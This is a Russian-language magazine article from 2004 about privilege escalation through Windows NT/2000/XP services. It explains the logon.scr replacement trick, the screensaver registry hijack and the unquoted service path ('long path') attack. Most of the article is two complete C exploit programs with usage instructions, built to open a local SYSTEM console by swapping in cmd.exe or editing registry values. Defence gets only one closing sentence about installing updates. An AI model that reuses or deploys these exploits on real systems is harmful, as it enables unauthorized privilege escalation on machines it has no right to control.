Гошко С.В., Атака на сервисы в Windows NT/2000/XP, Argc&Argv, март 2004, стр.30-33
                    Атака на сервисы в Windows NT/2000/XP

Сервис это программа написанная особым образом чаще всего имеющая привелегии
local SYSTEM. Сервисы используются как системные службы например для ведения 
логов, поддержки web сервера и т.д. Как же система различает сервис это или
обычная программа? Система просматривает реестр где зарегестрированы все
сервисы. Данная база доступна для просмотра в Microsoft Management Console
(mmc.exe), но только для пользователей с правами администратора.
Так же этот список всех сервисов можно просмотреть в реестре по ключу:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services

(1)-------------------------Атака подменой сервиса------------------------------

Основной смысл атаки на сервисы заключается в их подмене. К примеру есть 
сервис logon.scr, который представляет собой "Logon Screen Saver" - системный
хранитель экрана. Смысл атаки на данный сервис заключается в подмене этого
файла на cmd.exe. Как вы понимаете cmd.exe это программа запускающая консоль
в системах Windows NT/2000/XP. Поэтому вместо сервиса будет запущена консоль
с правами local SYSTEM. 

Алгоритм реализации данной атаки заключается в следующем:

1) Запустите cmd.exe и перейдите в папку Windows\System32\

2) Скопируйте файл cmd.exe на место logon.scr (copy cmd.exe logon.scr)

3) Завершите сеанс и подождите минут 10-15 (точное значение можно посмотреть
   в реестре).
   После этого будет запущена консоль с правами local SYSTEM

		Рассмотрим простую реализацию атаки на logon.scr:

//------------------------------------------------------------------------------
/* 
 * Windows NT/2000/XP + FAT  local SYSTEM exploit N1 ( example )
 *
 * Run: ploit2 -a
 *
 * This is logon.scr service attack exploit
 *
 * Work even on GUEST account
 *
 * ... Dis is CHEAT OF MIND ...
 *
 * Author:      sl0n
 * Email:       bigafroelephant@mail.ru
 * Webpage:     unavailable n0w
 */

#include 
#include 

void attack()  // Функция подмены logon.scr
{
   char new_val[]="\\system32\\logon.scr";  

   char windir[150];
   char windir2[150];        // Переменные
   char windir3[150];

   GetWindowsDirectoryA(windir,100);  // Узнаём имя директории Windows

   lstrcpyA(windir2,windir);   // Подготавливаем полные пути для
   lstrcpyA(windir3,windir);   // хранения имён

   lstrcatA(windir,new_val);  // В windir будет полный путь к logon.scr
   lstrcatA(windir2,"\\system32\\logon32.bak"); // В windir2 backup logon.scr
   lstrcatA(windir3,"\\system32\\cmd.exe");  // В windir3 полный путь к cmd.exe

   CopyFileA(windir,windir2,1); // Копируем logon.scr в logon32.bak
   CopyFileA(windir3,windir,0); // Копируем cmd.exe в logon.scr

   printf("[ Attack was g00d ]\n");  // Выводим сообщение что всё хорошо
   printf("[ Please wait 10-15 minutes in l0g0n screen  ]\n");
   printf("[ And SYSTEM console was dropped ]\n\n");
   printf("[ Press any key ..... ]\n");

   getchar();  // Ждём нажатия клавиши

   ExitWindowsEx(EWX_LOGOFF,0);  // Завершаем сеанс
}

void restore()   // Функция восстановления logon.scr
{
   char new_val[]="\\system32\\logon.scr";

   char windir[150];       // Переменные
   char windir2[150];

   GetWindowsDirectoryA(windir,100);  // Получаем полное имя Windows директории

   lstrcpyA(windir2,windir);    // Копируем это имя в windir2

   lstrcatA(windir,new_val);    // Добавляем имя logon.scr
   lstrcatA(windir2,"\\system32\\logon32.bak");// Копируем logon32.bak в windir2

   CopyFileA(windir2,windir,0); // Копируем logon32.bak в logon.scr

   printf("[ n0w system is rest0red ]\n"); // Выводим сообщение

}


void main(int argc, char *argv[])
{
   printf("[ Logon Attack by sl0n for Windows NT/2000/XP + FAT ]\n\n");

   if (argc<2)  // Если программа запущена без параметров то выводим сообщения
		// И завершаем работу программы
   {
     printf("Usage: %s [-a]\n",argv[0]);
     printf("-a Get local SYSTEM permissions\n");
     printf("-r Restore system in statement before attack\n");

     exit(0);   // Завершение работы программы
    }

   if(strcmp(argv[1],"-a")==0)  // Чего хочет пользователь, атаковать ?
     attack();                  // Значит будем атаковать

   if(strcmp(argv[1],"-r")==0)  // Восстанавливать ?
     restore();                 // Значит будем восстанавливать
}

//------------------------------------------------------------------------------

Главным недостатком этой атаки является, то что прийдётся ждать гле-то около 10
минут пока будет запущена консоль. Данная атака давно известна и этот эксплоит
был написан всего лишь для примера.

Аналогом данной атаки является следующий вариант этого эксплоита, который
избавлен от этого недостатка. Но появилось добавочное требование возможность
записи в системный реестр.

                                 Алгоритм атаки:

1) Установить значение ключа реестра:
   HKEY_USERS\.DEFAULT\Control Panel\Desktop\SCRNSAVE.EXE
   значение должно быть "cmd.exe"

2) Установить значение ключа реестра:
   HKEY_USERS\.DEFAULT\Control Panel\Desktop\ScreenSaveTimeOut
   значение должно быть "1"

3) Завершить сеанс, после этого будет запущена консоль с правами
   local SYSTEM.

                             Перейдём к примеру атаки:

//------------------------------------------------------------------------------
/* 
 * Windows NT/2000/XP+FAT  local SYSTEM exploit N2 ( example )
 *
 * Run: ploit2 -a
 *
 * This is LOGON SCREEN SAVER attack exploit
 * 
 *
 * ... Dis is CHEAT OF MIND ...
 *
 * Author:      sl0n
 * Email:       bigafroelephant@mail.ru
 * Webpage:     unavailable n0w
 */

#include 
#include 

//------------------------------------------------------------------------------

void attack() // Функция редактирования реестра с целью подмены ключа 
	      // HKEY_USERS\.DEFAULT\Control Panel\Desktop\SCRNSAVE.EXE
{
     char subkey[]=".DEFAULT\\Control Panel\\Desktop";

     char valname[]="SCRNSAVE.EXE";                          // Переменные
     char new_val[]="cmd.exe";

     char valname2[]="ScreenSaveTimeOut";
     char new_val2[]="1";

     HKEY key1;

     RegOpenKeyEx(HKEY_USERS,subkey,0,KEY_ALL_ACCESS,&key1); // Открываем ключ
                                                             // реестра 
     RegSetValueEx(key1,valname,0,REG_SZ,new_val,sizeof(new_val));
     // Изменяем значение SCRNSAVE.EXE c logon.scr на cmd.exe

     RegSetValueEx(key1,valname2,0,REG_SZ,new_val2,sizeof(new_val2));
     // Изменяем значение ScreenSaveTimeOut с 600 секунд на 1 

     RegCloseKey(key1);
     // Закрываем ключ реестра

     printf("Now system is logging off ... and SYSTEM console\n");
     printf("Must be spawned ");
     // Выводим сообщения

     ExitWindowsEx(EWX_LOGOFF,0);
     // Завершаем сеанс
}

//------------------------------------------------------------------------------

void restore() // Функция восстановления реестра в дефолтовое состояние
{
     char subkey[]=".DEFAULT\\Control Panel\\Desktop";

     char valname[]="SCRNSAVE.EXE";
     char new_val[]="\\system32\\logon.scr";                   // Переменные

     char valname2[]="ScreenSaveTimeOut";
     char new_val2[]="600";

     char windir[140];
     HKEY key1;

     GetWindowsDirectoryA(windir,100); // Получаем в windir полное имя Windows
     lstrcatA(windir,new_val);         // Добавляем к нему \system32\logon.scr

     RegOpenKeyEx(HKEY_USERS,subkey,0,KEY_ALL_ACCESS,&key1);
     // Открываем необходимый нам ключ реестра

     RegSetValueEx(key1,valname,0,REG_SZ,windir,sizeof(windir));
     RegSetValueEx(key1,valname2,0,REG_SZ,new_val2,sizeof(new_val2));
     // Восстанавливаем дефолтовые значения в реестре

     RegCloseKey(key1);
     // Закрываем ключ реестра

     printf("Register was restored successfully");
     // Выводим сообщение
}

//------------------------------------------------------------------------------

void main(int argc, char *argv[])
{
      printf("[ Logon Attack by sl0n for Windows NT/2000/XP + FAT ]\n\n");
      if (argc<2) // Если программа запущена без параметров то выводим сообщения
		  // И завершаем работу программы
      {
	printf("Usage: %s [-a]\n",argv[0]);
      	printf("-a Get local SYSTEM permissions\n");
      	printf("-r Restore register in default statement attack\n");
        exit(0);
      }
      if(strcmp(argv[1],"-a")==0)  // Чего хочет пользователь, атаковать ?
        attack();                  // Значит будем атаковать

      if(strcmp(argv[1],"-r")==0)  // Восстанавливать ?
        restore();                 // Значит будем восстанавливать
}

//------------------------------------------------------------------------------

В Windows NT/2000/XP существует множество различных сервисов. Но данная атака 
не сработает на других сервисах. Причина заключается в том, что logon.scr
представляет собой обыкновенную программу, а не сервис в полном понимании этого
слова. Большинство запущенных сервисов активно постоянно и у пользователя с
низкими привелегиями нет возможности остановить эти системные сервисы.
А если сервис запущен, то с самим исполнимым файлом этого сервиса сделать 
ничего нельзя. 

Я думаю, что может быть возможна ситуация, когда каким либо
способом (например DoS атакой) завершается работа сервиса. После этого 
исполнимый файл сервиса подменяется сервисом написанным атакующим, который
будет к примеру запускать консоль. После этого система перезагружается.
Во время загрузки системы при запуске сервиса будет запущен подменённый сервис,
который запустит консоль с правами системы.

Если существует возможность записи в реестр по ключу:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services

Тогда существует возможность написать и зарегистрировать свой сервис, который
предоставит возможность получения прав local SYSTEM.
Но опять же таки зарегистрировать свой сервис могут только администраторы.
Остальные пользователи могут только просмотреть список всех сервисов.

Так же существует программа, которая запускает любую программу, как сервис.
Но для этого ей необходима возможность записи в системный реестр.
Это программа называется FireDaemon [1], её можно найти по адресу: 

http://www.firedaemon.com

Она доступна как в консольном варианте так и с GUI интерфейсом.

Так же был написан эксплоит осуществляющий поиск и подмену сервисов доступных
обычному пользователю он называется He4GetAdmin [2].

Данный эксплоит не функционален на Windows XP, из-за того что сервисы после
подмены восстанавливаются.

(2)----------------Атака "длинного пути"(long path attack)----------------------

Смысл данной атаки заключается в использовании параметра - исполняемый файл, 
который передаёт полный путь к исполняему файлу. Данный параметр позже 
используется функцией CreateProcessAsUser, для создания процесса службы.
Если же в пути к исполнимому файлу присутствуют пробелы, то функция
CreateProcessAsUser начинает пытаться определить имя исполнимого файла.
И определяет она имя файла с некоторыми ошибками [3].

				Например:

Параметр установлен в значение: C:\FAR AWAY\service.exe.
Если существует файл в корне с именем FAR.exe, то будет запущен именно он.
Смысл атаки заключается в поиске сервсов с аналогичными параметрами и
созданием файла в нашем случае FAR.exe. Простейшим вариантом является
копирование cmd.exe в C:\FAR.exe. После этого необходимо перезагрузить
компьютер, при следующем запуске сервиса будет запущена консоль с правами 
local SYSTEM.

Представте на секудну что имя директории Windows другое например:
SUPER Windows, ясно что это вам даёт ? Ведь большинство системных сервисов
находится именно в этой директории.


			Сложности в реализации атаки:

1) Необходимо остановиться на том, что не все сервисы запускаются с парметром:
   Interact with desktop. Поэтому после данной атаки консоли с правами системы
   вы просто не увидите хоть она и будет запущена.

2) Не все сервисы запускаются с правами local SYSTEM, хотя и большинство.

На этом мы закончим анализ основных методов атак на сервисы в операционных
системах Windows NT/2000/XP.

Для защиты от атак на сервисы необходимо постоянно и вовремя ставить 
сервис паки и обновления.

                    При написании статьи использовались материалы:

[1] Sublime Solutions Pty Ltd
    EMail: contact@sublime.com.au

[2] He4 Developers team
    EMail: He4Dev@hotmail.com

[3] "Управление системными службами Windows NT" Александр Федотов
--------------------------------------------------------------------------------
... Dis Is Cheat of Mind ...
                                                                       slon 2002